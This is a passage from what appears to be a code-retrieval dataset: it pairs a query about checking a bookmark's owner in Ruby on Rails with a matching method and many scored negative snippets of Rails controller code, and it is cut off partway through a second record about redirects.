"0.72132033",
"0.71970284",
"0.71391743",
"0.710091",
"0.70634353",
"0.70586866",
"0.704493",
"0.7003913",
"0.6964456",
"0.6904251",
"0.686093",
"0.6853357",
"0.67940897",
"0.67754346",
"0.6769277",
"0.6769277",
"0.67452204",
"0.6714383",
"0.6713629",
"0.6694331",
"0.6679452",
"0.66479003",
"0.6642859",
"0.66364974",
"0.6629889",
"0.66295135",
"0.6620729",
"0.6620729",
"0.6605525",
"0.6549839",
"0.65362203",
"0.65333396",
"0.65221816",
"0.6520831",
"0.6509499",
"0.6498968",
"0.64977616",
"0.64933336",
"0.64487666",
"0.6445792",
"0.6445477",
"0.6410042",
"0.6410042",
"0.64100134",
"0.64100134",
"0.64100134",
"0.64100134",
"0.63923657",
"0.6390268",
"0.63800627",
"0.6375164",
"0.6370595",
"0.6368067",
"0.63679814",
"0.635654",
"0.63480645",
"0.63480645",
"0.63480645",
"0.63480645",
"0.63480645",
"0.63480645",
"0.63480645",
"0.6343142",
"0.63207245",
"0.6320637",
"0.6314904",
"0.63075936",
"0.63072425",
"0.63072366",
"0.6293872",
"0.6284432",
"0.6276789",
"0.62721545",
"0.62704784",
"0.62652254",
"0.6253233",
"0.6251248",
"0.6249866",
"0.6248835",
"0.62399477",
"0.62394667",
"0.62394667",
"0.62394667"
] |
0.72599775
|
15
|
Check if the current user is the owner of the bookmark and also set the bookmark
|
def set_bookmark_check_owner
@bookmark = Bookmark.find(params[:id])
if @bookmark.user != current_user
respond_to do |format|
format.html { redirect_to root_url, alert: "You dont have permissions for this action"}
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_bookmark\n @bookmark = current_user.bookmarks.find(params[:id])\n end",
"def set_authorized_bookmark\n @bookmark = Bookmark.find(params[:id])\n redirect_to bookmarks_path, notice: \"Not authorized to operate on this bookmark\" unless current_user == @bookmark.user\n end",
"def bookmarked_by_user?(user)\n bookmark_object(user).present?\n end",
"def set_bookmark\n @user = User.find(session[:usr])\n @receipe = Receipe.find(params[:receipe_id])\n\n end",
"def bookmark_object(the_user)\n the_user.bookmarked_posts.find_by_post_id(id)\n end",
"def is_bookmarked user\n Bookmark.find_by(user_id: user_id, post_id: id)\n end",
"def bookmark_by(u)\r\n Bookmark.bookmark_by(u, self)\r\n end",
"def pin_bookmark_for_user(user_id, bookmark_id)\n bm = get_bookmark_for_user(user_id, bookmark_id)\n unless bm == nil\n bm.is_pinned = true\n bm = update_bookmark_for_user(user_id, bm)\n end\n bm\n end",
"def set_my_bookmark\n @my_bookmark = MyBookmark.find(params[:id])\n end",
"def remember_bookmark(value)\n @ole.RememberBookmark = value\n nil\n end",
"def bookmarklet\n unless session[:user_id] \n flash[:info] = \"Please Sign In.\"\n session[:return_to] = request.fullpath\n redirect_to login_url\n end\n @bookmark = Bookmark.find_or_create_by(:url => params[:address], :user_id => session[:user_id])\n end",
"def remember_bookmark\n @ole.RememberBookmark\n end",
"def set_bookmark\n @bookmark = current_user.topics.find(params[:topic_id]).bookmarks.find(params[:id])\n end",
"def set_public_bookmark\n @public_bookmark = PublicBookmark.find(params[:id])\n end",
"def set_bookmark\n\t\t@bookmark = Bookmark.find(params[:id])\n\tend",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def set_bookmark\n @bookmark = Bookmark.find(params[:id])\n end",
"def update\n \n @bookmark = Bookmark.find(params[:id])\n \n respond_to do |format|\n if @bookmark.UserMade == current_user.username && @bookmark.update_attributes(params[:bookmark])\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def bookmarked?(user_id)\n !Bookmark.where(story_id: self.id, user_id: user_id).empty?\n end",
"def set_bookmark(bm_name, value)\n raise_if_no_document\n bm_range = set_at_bookmark(bm_name, value)\n @doc.Bookmarks.Add bm_name, bm_range\n end",
"def bookmark!(article)\n user_articles.create!( :article_id => article.id )\n end",
"def create\n if session[:user_id]\n user = User.find(session[:user_id])\n params[:bookmark][:user] = user\n @bookmark = Bookmark.new(params[:bookmark])\n if params[:tag]\n @tags = params[:tag]\n @tags.each do |tag|\n objTag = Tag.find(tag)\n @bookmark.tags << objTag\n end\n end\n if @bookmark.url.include?(\"http://\")\n else\n @bookmark.url = \"http://\" + @bookmark.url\n end\n \n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to \"/login\"\n end\n end",
"def bookmarklet\n set_bookmarklet_vars(current_user)\n if @account_option.bookmarklet? && @key\n render :bookmarklet\n else\n render :no_access\n end\n end",
"def index\n @bookmarks = Bookmark.where(owner: current_user)\n end",
"def bookmark\n\t\tanswer = $screen.ask(\"bookmark:\",@bookmarks_hist)\n\t\tif answer == nil\n\t\t\t$screen.write_message(\"Cancelled\");\n\t\telse\n\t\t\t$screen.write_message(\"Bookmarked\");\n\t\t\t@bookmarks[answer] = [@row,@col]\n\t\tend\n\tend",
"def set_solicitation_bookmark\n @solicitation_bookmark = SolicitationBookmark.find(params[:id])\n end",
"def bookmarks(user)\n user = Access::Validate.user(user, false)\n Bookmark\n .where('(bookmarks.creator_id = ? OR bookmarks.updater_id = ?)', user.id, user.id)\n .order('bookmarks.updated_at DESC')\n end",
"def bookmark_params\n params.permit(:user_id, :raffle_id)\n end",
"def create\n session_user = session[:usr]\n receipe = Receipe.find(params[:receipe_id])\n \n if Bookmark.create(user_id: session_user, receipe_id: receipe.id)\n redirect_to receipe\n else\n \n end\n\n end",
"def set_at_bookmark(bm_name, value)\n raise_if_no_document\n # the easy version :\n bm_range = @doc.Bookmarks(bm_name).Range\n bm_range.Text = value\n return bm_range\n end",
"def create\n #@bookmark = Bookmark.new(params[:bookmark])\n #\n #respond_to do |format|\n # if @bookmark.save\n # format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully created.') }\n # format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n # else\n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n # end\n #end\n\n #@bookmark = current_user.bookmarks.build(params[:bookmark])\n \n @user = @current_user\n @bookmark = @current_user.bookmarks.build(params[:bookmark])\n @user.bookmarks << @bookmark\n \n #@bookmarkuser = @current_user.bookmarkusers.build(params[:bookmark])\n #\n \n \n \n #@bookmarkuser.save\n \n if @bookmark.save\n flash[:success] = \"Bookmark created!\"\n redirect_to root_path, :flash => { :success => \"Bookmark created!\" }\n else\n render 'pages/home'\n end\n\n end",
"def bookmark_params\n params.require(:bookmark).permit(:user_id, :receipe_id)\n end",
"def bookmark_param\n params.require(:bookmark).permit(:user_id, :review_id)\n end",
"def owner=(user)\n de = document_editor_owner\n if de\n return user if de == user\n de.set_owner(false)\n end\n\n de = document_editors.find_by(user_id: user.id)\n if de.nil?\n self.editors << user\n de = document_editors.find_by(user_id: user.id)\n end\n de.set_owner(true)\n end",
"def get_bookmark_for_user(user_id, bookmark_id)\n query = <<-EOS\n SELECT b.id, b.name, b.notes, b.added_on, w.url \n FROM bookmarks b, users u, web_pages w\n WHERE b.user_id = u.id\n AND b.web_page_id = w.id\n AND b.user_id = $1\n AND b.id = $2\n EOS\n bm = @conn.exec(query, [user_id, bookmark_id]).first\n unless bm == nil\n bm = Bookmark.new(bm)\n end\n bm \n end",
"def document_is_bookmarked?(document_id)\n bookmarked_document_ids.include? document_id\n end",
"def update\n if session[:user_id]\n @bookmark = Bookmark.first(:conditions => {:id => params[:id], :user_id => session[:user_id]})\n if @bookmark \n @tags = params[:tag]\n \n @bookmark.tags.delete_all\n if params[:tag]\n @tags.each do |tag|\n objTag = Tag.find(tag)\n @bookmark.tags << objTag\n end\n end\n respond_to do |format|\n if @bookmark.update_attributes(params[:bookmark])\n format.html { redirect_to(@bookmark, :notice => 'Bookmark was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to \"/bookmarks/\"\n end\n else\n redirect_to \"/login\"\n end\n end",
"def set_by_user(editor = nil)\n editor ||= self.user\n return false if editor.nil?\n if ( !REQUIRES_PARENT_APPROVAL || editor.parent_of?(self.user) )\n set_to_activate\n\n else\n self.status = (REQUIRES_PARENT_APPROVAL || status.blank?) ? Status::PENDING : Status::OPEN\n end\n true\n end",
"def is_the_user_the_owner(scrollz, user)\n if scrollz.user_id != user.id\n flash[:notice] = \"?\"\n redirect_to scrollz_path(@scrollz)\n end\n end",
"def editable_by?(user)\n\t \t# user && user == owner\n\t user == user\n \tend",
"def editable?(user)\n\n return false if user.nil?\n\n return (user.admin?(User::AUTH_ADDRESSBOOK) or self.owner_id == user.id)\n end",
"def set_alias\n authorized_to_set_alias?\n @user = current_user\n end",
"def bookmark_params\n params.require(:bookmark).permit(:user_id, :record_id)\n end",
"def set_owner\n @owner = Owner.find_by_owner_user_id(current_owner_user.id)\n end",
"def editable_by?(user)\n \tuser && user == owner\n\tend",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.owner = current_user\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark.poi }\n format.json { render :show, status: :created, location: @bookmark }\n else\n format.html { redirect_to root_path, alert: t('error', scope: @t_scope) }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.user_id = current_user.id\n\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @redirect, notice: 'Bookmark was successfully created.' }\n format.json { render :show, status: :created, location: bookmarks_path }\n else\n format.html { redirect_to @redirect, alert: \"Bookmark could not be saved\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bookmarks\n @user = User.find(params[:id])\n\n render :status => 404 and return if @user.nil?\n\n # Grab Bookmarks and Render Them Out\n @bookmarks = @user.current_bookmarks\n render_collection_json Serialize::BookmarksSerializer.as_json_with_current_entries(@bookmarks, @user)\n end",
"def create_bookmark\n ch = get_single \"Enter A to Z or 0-9 for bookmark: \"\n #ch = get_char\n if ch =~ /^[0-9A-Z]$/\n #$bookmarks[ch] = \"#{Dir.pwd}:#{$cursor}\"\n # \n # The significance of putting a : and not a / is that with a \n # : the dir will be opened with cursor on same object it was on, and not\n # go into the dir. e.g, If bookmark is created with cursor on a dir, we don't want\n # it to go into the dir.\n $bookmarks[ch] = \"#{Dir.pwd}:#{$view[$cursor]}\"\n $modified = true\n else\n perror \"Bookmark must be upper-case character or number.\"\n end\nend",
"def bookmark?(key)\n\t\t\t@bookmarks[key.to_sym]\n\t\tend",
"def is_owner?(this_user)\n user == this_user\n end",
"def bookmark_or_not(document)\n unless document.blank?\n if params[:controller] == 'bookmarks'\n context = {\n :url => bookmark_path(document)\n }\n else\n context = {\n :url => facet_catalog_path(document),\n :data_counter => session[:search][:counter].to_i\n }\n end\n end\n end",
"def test_update_bookmark \n bm0 = get_bookmark(@bs.user_id, 'http://www.ml-class.com/')\n new_name = SecureRandom.uuid.to_s\n bm0.name = new_name\n bm0.is_pinned = true\n new_notes = SecureRandom.uuid.to_s\n bm0.notes = new_notes\n new_bm = @bs.update_bookmark(bm0)\n assert(bm0 === new_bm, 'Updated bookmark does not match prototype')\n bm1 = get_bookmark(@bs.user_id, 'http://www.ml-class.com/')\n assert(bm1 === bm0, 'Before and after db dookmarks do not match')\n end",
"def update_owner(user)\n self.notify = true if self.owner != user\n self.owner = user unless user.nil?\n self.save\n end",
"def autoset_owner\n bypass_auth do\n if accessor\n self.owner_id ||= accessor.id\n end\n end\n\n true # this is very important!\n end",
"def owner=(newuser) #:nodoc:\n saved? ? raise(NotImplementedError, \"Cannot change a document's owner once the document has been saved\") : super\n end",
"def existing_bookmark_for(document_id)\n # to_a, we don't want to go to the database, we want to use cached\n # copy. \n self.bookmarks.to_a.find {|b| b.document_id == document_id}\n end",
"def create\n bookmark = Bookmark.find_or_create_by_URL(params[:bookmark][:URL])\n\n @user_bookmark = UserBookmark.new(:bookmark_id => bookmark.id, :user_id => current_user.id)\n\n respond_to do |format|\n if @user_bookmark.save\n format.html { redirect_to(bookmark, :notice => 'Bookmark was successfully created.') }\n format.xml { render :xml => @user_bookmark, :status => :created, :location => @bookmark }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_bookmark.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def bookmark_params\n params.permit(:bookmark, :post_id)\n end",
"def bookmark_params\n params.require(:bookmark).permit(:bookmark_type, :user_id, :value, :cover)\n end",
"def set_owner\n @goal.owner = current_user\n end",
"def editable_by?(user)\n\t\tuser && user == author\n\tend",
"def bookmark_exists?(bm_name)\n raise_if_no_document\n @doc.Bookmarks.Exists(bm_name)\n end",
"def index\n @bookmarks = Bookmark.user_bookmarks(current_user)\n end",
"def bookmarked?(an_user_id, select=nil)\n return false if self.new_record?\n return (self.send(select).to_i != 0) if !select.nil?\n Bookmark.where(:user_id => an_user_id, :bookmarkable_type => 'MediaElement', :bookmarkable_id => self.id).any?\n end",
"def destroy\n if session[:user_id] != @bookmark.user_id\n flash[:error] = \"Sorry, you do not have permission to delete this bookmark.\"\n redirect_to root_url\n else \n @bookmark.archive.destroy if @bookmark.archive\n # @bookmark.archive.try(:destroy)\n @bookmark.destroy\n redirect_to root_url, :notice => \"#{@bookmark.title} was deleted!\"\n end\n end",
"def is_owner?(item)\n current_user_id == item.user_id\n end",
"def set_nagayoshi_bookmark_log\n @nagayoshi_bookmark_log = NagayoshiBookmarkLog.find(params[:id])\n end",
"def create\n @bookmarks = if params[:bookmarks]\n permit_bookmarks[:bookmarks]\n else\n [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]\n end\n\n current_or_guest_user.save! unless current_or_guest_user.persisted?\n\n bookmarks_to_add = @bookmarks.reject { |bookmark| current_or_guest_user.bookmarks.where(bookmark).exists? }\n success = ActiveRecord::Base.transaction do\n current_or_guest_user.bookmarks.create!(bookmarks_to_add)\n rescue ActiveRecord::RecordInvalid\n false\n end\n\n if request.xhr?\n success ? render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } }) : render(json: current_or_guest_user.errors.full_messages, status: \"500\")\n else\n if @bookmarks.any? && success\n flash[:notice] = I18n.t('blacklight.bookmarks.add.success', count: @bookmarks.length)\n elsif @bookmarks.any?\n flash[:error] = I18n.t('blacklight.bookmarks.add.failure', count: @bookmarks.length)\n end\n\n redirect_back fallback_location: bookmarks_path\n end\n end",
"def owner_preference\n owner_uniq_favorite_name if owner_preference?\n end",
"def create\n @bookmark = current_user.becomes(LearnUser).bookmarks.new(params[:bookmark])\n\n respond_to do |format|\n if @bookmark.save\n flash[:notice] = 'Bookmark was successfully created.'\n format.html { redirect_to(@bookmark) }\n format.js {redirect_from_facebox(session[:return_to]) }\n format.xml { render :xml => @bookmark, :status => :created, :location => @bookmark }\n else \n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookmark.errors, :status => :unprocessable_entity } \n format.js { }\n end\n end\n end",
"def display_social_bookmarks?; true end",
"def bookmarklet\n # @bookmark = Bookmark.new(:tags => [Tag.new])\n @bookmark = Bookmark.where(:url => params[:address], :user_id => session[:user_id]).first_or_initialize(:tags => [Tag.new])\n respond_to do |format|\n format.html # bookmarklet.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def may_share_document?(document=nil)\n\t\t\tdocument && ( \n\t\t\t\tself.is_administrator? ||\n\t\t\t\t( document.owner && self == document.owner ) \n\t\t\t)\n\t\tend",
"def create\n @bookmark = current_user.bookmarks.new(params[:bookmark])\n\n respond_to do |format|\n if @bookmark.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.bookmark'))\n @bookmark.create_tag_index\n @bookmark.manifestation.index!\n if params[:mode] == 'tag_edit'\n format.html { redirect_to(@bookmark.manifestation) }\n format.json { render :json => @bookmark, :status => :created, :location => @bookmark }\n else\n format.html { redirect_to(@bookmark) }\n format.json { render :json => @bookmark, :status => :created, :location => @bookmark }\n end\n else\n @user = current_user\n format.html { render :action => \"new\" }\n format.json { render :json => @bookmark.errors, :status => :unprocessable_entity }\n end\n end\n\n session[:params][:bookmark] = nil if session[:params]\n end",
"def set_owner #:doc:\n self.owner_class.owner= get_current_owner\n end",
"def is_owner?(user)\n user.id == self.user_id\n end",
"def setPermissionEdit( other_user )\n return setPermission( other_user, Dfile::PP_MAYEDIT )\n end",
"def set_owner\n @owner = CacheUser.where(login: params[:login]).first\n if !@owner\n @owner = CacheUser.new(login: params[:login])\n @owner.save!\n end\n end",
"def bookmark( *names, **options )\n\t\traise \"expected at least one bookmark name\" if names.empty?\n\n\t\tself.server.run( :bookmark, *names, **options )\n\t\treturn true\n\tend",
"def is_owner\n object == current_user\n end",
"def editable_by?(user)\n if self.status == :private\n self.user == user || self.featurings.map(&:user).include?(user)\n elsif status == :temporary\n true # XXX FIXME SECURITY HOLE RIGHT HERE: ANY USER CAN MODIFY TEMP SONGS FIXME\n elsif status == :public\n false\n end\n end",
"def setFlagOwner _obj, _args\n \"_obj setFlagOwner _args;\" \n end",
"def assign_to_user (object,object_id)\n\t logger.info \"in assign_to_user\"\n if object == \"album\"\n @user = User.find(current_user.id)\n @album = Album.find(object_id)\n @album.users << @user\n @album.save\n cookies[:object] = {:expires => 1.year.ago}\n cookies[:song_album_or_event_id] = {:expires => 1.year.ago}\n end\n end",
"def set_users_mark\n @users_mark = UsersMark.find(params[:id])\n end",
"def article_owner?(obj)\n\t\t\tcurrent_user.id == obj.user_id\n\t\tend",
"def create_bookmark\n print \"Enter (upper case) char for bookmark: \"\n ch = get_char\n if ch =~ /^[A-Z]$/\n $bookmarks[ch] = Dir.pwd\n $modified = true\n else\n perror \"Bookmark must be upper-case character\"\n end\nend",
"def update\n bookmark = Bookmark.find_by(id: params[:id])\n bookmark.update(\n name: bookmark.name,\n path: bookmark.path,\n note_id: params[:note_id],\n user_id: current_user.id,\n screenshot_data: bookmark.screenshot_data\n )\n if bookmark.save\n render json: { message: \"success\"}\n else\n render json: { errors: bookmark.full_messages }, status: 422\n end\n end",
"def assign_approver\n if approver == \"1\"\n document.approver = user\n document.save!\n end\n end"
] |
[
"0.735294",
"0.7100118",
"0.7058876",
"0.6839759",
"0.6639056",
"0.65991956",
"0.65714544",
"0.65084046",
"0.64786434",
"0.6468364",
"0.6415549",
"0.6383909",
"0.63401884",
"0.6327939",
"0.63261044",
"0.63102424",
"0.63102424",
"0.63102424",
"0.63102424",
"0.63102424",
"0.63102424",
"0.63102424",
"0.62525773",
"0.62525773",
"0.62525773",
"0.62525773",
"0.62525773",
"0.62525773",
"0.6249009",
"0.61235845",
"0.6120176",
"0.5932722",
"0.5929649",
"0.58696556",
"0.58436805",
"0.5795906",
"0.5783578",
"0.57800585",
"0.5744576",
"0.5721581",
"0.57126236",
"0.5711857",
"0.5667579",
"0.56429917",
"0.5627114",
"0.5611013",
"0.5602887",
"0.5596753",
"0.55801976",
"0.55695474",
"0.55628633",
"0.55585617",
"0.55193675",
"0.5513417",
"0.5511409",
"0.5490446",
"0.5477742",
"0.5477741",
"0.5477319",
"0.5473323",
"0.544485",
"0.5441869",
"0.54370886",
"0.5418775",
"0.5397348",
"0.53796643",
"0.5373531",
"0.536739",
"0.53664297",
"0.536556",
"0.53559446",
"0.534867",
"0.5342489",
"0.53418326",
"0.5339666",
"0.53312933",
"0.5315721",
"0.52959037",
"0.52906024",
"0.5286893",
"0.52835494",
"0.52820474",
"0.5280351",
"0.526582",
"0.52636796",
"0.5260426",
"0.525074",
"0.52463883",
"0.5224261",
"0.52201575",
"0.5206683",
"0.5204839",
"0.5202323",
"0.5201909",
"0.5198739",
"0.5193522",
"0.5192019",
"0.518978",
"0.51881456",
"0.5184986"
] |
0.7654808
|
0
|
Custom redirect for create and destroy methodss
|
def set_redirect
@redirect = params[:origin_url] == nil ? bookmarks_path : params[:origin_url]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def redirect_after_create\n resources_url {}\n end",
"def redirect_after_destroy\n url = caller_url\n if url\n redirect_to url\n else\n redirect_to url_for([model_name.pluralize])\n end\n end",
"def create_redirect_action\n if params[:redirect_from].strip.size == 0\n flash[:error] = \"Original URL cannot be empty\"\n return redirect_to \"/admin\"\n end\n if params[:redirect_to].strip.size == 0\n flash[:error] = \"New URL cannot be empty\"\n return redirect_to \"/admin\"\n end\n redirect = Redirect.create(:from => params[:redirect_from].strip, :to => params[:redirect_to].strip)\n redirect.save!\n flash[:notice] = \"New redirect created.\"\n return redirect_to \"/admin\"\n end",
"def the_delete_redirect\n the_update_redirect\n end",
"def create\n redirect_to_full_path\n end",
"def redirect_after_create\n @index_path\n end",
"def redirect?; end",
"def create\n redirect_to :root\n end",
"def create\n redirect_to :action => 'show', :id => params[:id] \n end",
"def destroy_action\n redirect_to resource_location\n end",
"def the_delete_redirect\n {:controller => :donors, :action => 'edit', :id => @donor}\n end",
"def redirect(type, obj)\n if redir = model.redirect_for\n path = redir.call(obj, type, request)\n end\n\n unless path\n path = case type\n when :new, :delete\n type.to_s\n when :edit\n \"edit/#{model.primary_key_value(obj)}\"\n else # when :mtm_edit\n \"mtm_edit/#{model.primary_key_value(obj)}?association=#{params_association}\"\n end\n path = url_for(path)\n end\n\n request.redirect(path)\n nil\n end",
"def redirect\n\t\trender 'sessions/new'\n\tend",
"def redirect_ok; end",
"def redirect_ok; end",
"def redirect_url; end",
"def render_after_create\n redirect_back_or_default(after_create_path)\n end",
"def redirect_after_model_created(model)\n url = caller_url\n if url\n redirect_to url\n else\n redirect_to model\n end\n end",
"def after_created\n logger.debug(\" ##### after created called for #{@model.inspect}\")\n redirect_to :action => 'show', :id => @model\n end",
"def redirect(options = {})\r\n end",
"def show\n self.redirect\n end",
"def redirect\n if params[:role] == \"restaurant\"\n redirect_to :action => \"new\", :invitation => { :first_name => params[:first_name], :last_name => params[:last_name], :email => params[:email] }\n elsif params[:role] == \"media\"\n redirect_to :controller => \"mediafeed/media_users\", :action => \"new\", :user => { :first_name => params[:first_name], :last_name => params[:last_name], :email => params[:email] }\n end\n end",
"def create_action\n if has_errors?\n render :new, options\n else\n redirect_to resource_location\n end\n end",
"def employee_post\n if params[\"new\"] \n redirect_to \"/employee/new\" and return\n else\n redirect_to \"/employee/#{params[\"edit\"]}\" and return\n end\n end",
"def redirects; end",
"def index\n redirect_to :action => \"new_or_edit\"\n end",
"def redirect_to(args)\n end",
"def redirect_after_destroy\n redirect_to root_path, notice: \"Thank you for your response!\"\n end",
"def index\n # redirect_to controller: 'post', action: 'new_post'\n end",
"def redirect_after_update\n resources_url {}\n end",
"def abrir_nueva_factura_individual\n redirect_to :action => 'nueva_orden', :id => params[:id_factura], :oid=> params[:oid],:una=>\"1\"\nend",
"def render_after_destroy\n redirect_back_or_default(after_destroy_path)\n end",
"def redirect_path\r\n if !(@target =~ /invoice/i).nil?\r\n redirect_to new_invoice_path\r\n else\r\n redirect_to @account\r\n end\r\n end",
"def create\n # create new address\n @new_address = UserAddress.create!(address_params)\n \n if session[:new_membership_path] == true\n @redirect_path = knird_preferred_new_membership_path\n elsif session[:new_trial_path] == true\n @redirect_path = knird_preferred_new_trial_path\n else\n @redirect_path = session.delete(:return_to)\n end\n \n # redirect \n redirect_to @redirect_path\n\n end",
"def destroy \n redirect_to \"/log_out\", :notice => \"Fu\"\n end",
"def save_redirect\n return unless redirect_params.any?\n\n redirect = @question.redirect\n if redirect\n redirect.assign_attributes(redirect_params)\n redirect_params[:redirect_type] == 'destroy' ? redirect.destroy : redirect.save\n else\n return true if redirect_params[:redirect_type] == 'destroy'\n @question.build_redirect(redirect_params)\n @question.redirect.save\n end\n end",
"def new\n super\n\n if !params[:redirect].blank?\n redirect_path = params[:redirect].gsub(/^\\//, \"\")\n path = Rails.application.routes.recognize_path(\"/#{redirect_path}\",\n :method => :get) rescue nil\n if path\n store_location_for(:user, \"/#{redirect_path}\")\n else\n logger.warn(\"Unrecognized post-signup path: #{redirect_path}\")\n end\n end\n end",
"def destroy\n redirect_to \"/login/logout\" \n end",
"def create1\n redirect_to params[:key]\n end",
"def redirect_to_finish_wizard(options = nil)\n redirect_to \"/adventures/#{@adventure.slug}\", notice: \"PENDING APPROVAL: <a href='/adventures/new'> Click to add another adventure </a> \"\n end",
"def destroy\n redirect_to new_vurl_path\n end",
"def destroy\n redirect_to new_vurl_path\n end",
"def redirect_after_create\n redirect_to project_products_path(params[:project_id]) \n end",
"def redirect\n redirect_to @goto_url\n end",
"def the_delete_redirect\n {:controller => :deliveries, :action => 'edit', :id => @delivery}\n end",
"def create\n current_user.follow(@user)\n redirect_back fallback_location: \"/\"\n end",
"def create\n @advance_search = AdvanceSearch.new(advance_search_params)\n\n respond_to do |format|\n if @advance_search.save\n if request.env['HTTP_REFERER'].include? overview_url\n format.html { redirect_to overview_url(:id=>@advance_search), notice: 'Search was successful'}\n else\n format.html { redirect_to spendings_url(:id=>@advance_search), notice: 'Advance search was successfully created.'}\n end\n # format.html { redirect_to :back,params:{:id=>@advance_search}, notice: 'Advance search was successfully created.' }\n format.json { render action: 'show', status: :created, location: @advance_search }\n else\n format.html { render action: 'new' }\n format.json { render json: @advance_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def store_and_redirect_location\n #session[:return_to] = \"/\"\n redirect_to \"/welcome/new\",:status => 401\n end",
"def be_redirected\n BeRedirected.new\nend",
"def create\n @desasignado = Desasignado.new(params[:desasignado])\n @desasignado.save\n #lineasdesasignado_url = map.lineasdesasignado 'lineas_revocados/new/:id', :controller => 'lineas_asignados', :action => 'new_desasignados'\n redirect_to lineasdesasignado_url(:id => @desasignado.id)\n\n# respond_to do |format|\n# if @desasignado.save\n# format.html { redirect_to(@desasignado, :notice => 'Desasignado was successfully created.') }\n# format.xml { render :xml => @desasignado, :status => :created, :location => @desasignado }\n# else\n# format.html { render :action => \"new\" }\n# format.xml { render :xml => @desasignado.errors, :status => :unprocessable_entity }\n# end\n# end\n end",
"def redirect(delete=false)\n location = Location.find(params[:id])\n if delete\n if location.controller_name == \"areas\"\n redirect_to delete_area_url, :id => params[:id]\n end\n if location.controller_name == \"venues\"\n redirect_to delete_venue_url, :id => params[:id]\n end\n if location.controller_name == \"organisations\"\n redirect_to delete_organisation_url, :id => params[:id]\n end\n flash[:notice] = \"Invalid Controller\"\n else\n params[:controller] = location.controller_name\n redirect_to params\n end\n end",
"def sign_up(resource_name, resource)\n redirect_to users_url\n end",
"def createalbum\n \tredirect_to(\"/photo/createAlbumPage\")\n end",
"def redirect(url); end",
"def redirect(object, commit)\n if commit.key?('_save')\n redirect_to admin_user_path(object), notice: actions_messages(object)\n elsif commit.key?('_add_other')\n redirect_to new_admin_user_path, notice: actions_messages(object)\n elsif commit.key?('_assing_rol')\n redirect_to admin_users_path, notice: actions_messages(object)\n end\n end",
"def create\n redirect_or_render authorization.authorize\n end",
"def create\n redirect_to pages_path\n end",
"def single_delete_redirect\n javascript_redirect(:action => 'show_list',\n :flash_msg => @flash_array[0][:message],\n :flash_error => @flash_array[0][:level] == :error)\n end",
"def redirect\n redirect_to volunteershome_url if current_user.volunteer?\n redirect_to serviceusershome_url if current_user.service_user?\n show_browser_alert\n end",
"def redirect_to_edit\n redirect_to edit_polymorphic_path([:admin, resource])\n end",
"def destroy\n flash[:warning] = 'Destroy action unavailable.'\n redirect_to action: show\n end",
"def redirect\n @order.assign_attributes(order_params)\n if @order.valid?\n Gocardless::RedirectFlowService::Initialize.run(@order) do |redirect_url|\n return redirect_to redirect_url\n end\n else\n @address = @order.address\n @product = @order.product.decorate\n @order = @order.decorate\n render 'signup/orders/confirm'\n end\n end",
"def redirect_back\n RedirectBack.new self\n end",
"def create\n @firma = Firma.new(firma_params)\n @redirect_params = params[:redirect_params] ? params[:redirect_params] : (flash[:redirect_params] ? flash[:redirect_params] : @firma)\n\n respond_to do |format|\n if @firma.save\n flash[:success] = \"Firma angelegt\"\n format.html { redirect_to @redirect_params }\n format.json { render :show, status: :created, location: @firma }\n else\n format.html { render :new }\n format.json { render json: @firma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def url_after_create\r\n session[:return_to] || root_path\r\n end",
"def create\n @maint_record = MaintRecord.new(record_params)\n if @maint_record.save\n\n\n redirect_to car_path(@maint_record.car_id) #user show page\n else\n\n render :new\n end\n end",
"def destroy\n @my_detail.destroy\n my_details_url = eval(\"person_#{@detail.pluralize}_url\")\n \n\n respond_to do |format|\n format.html { redirect_to(my_details_url) }\n format.xml { head :ok }\n end\n end",
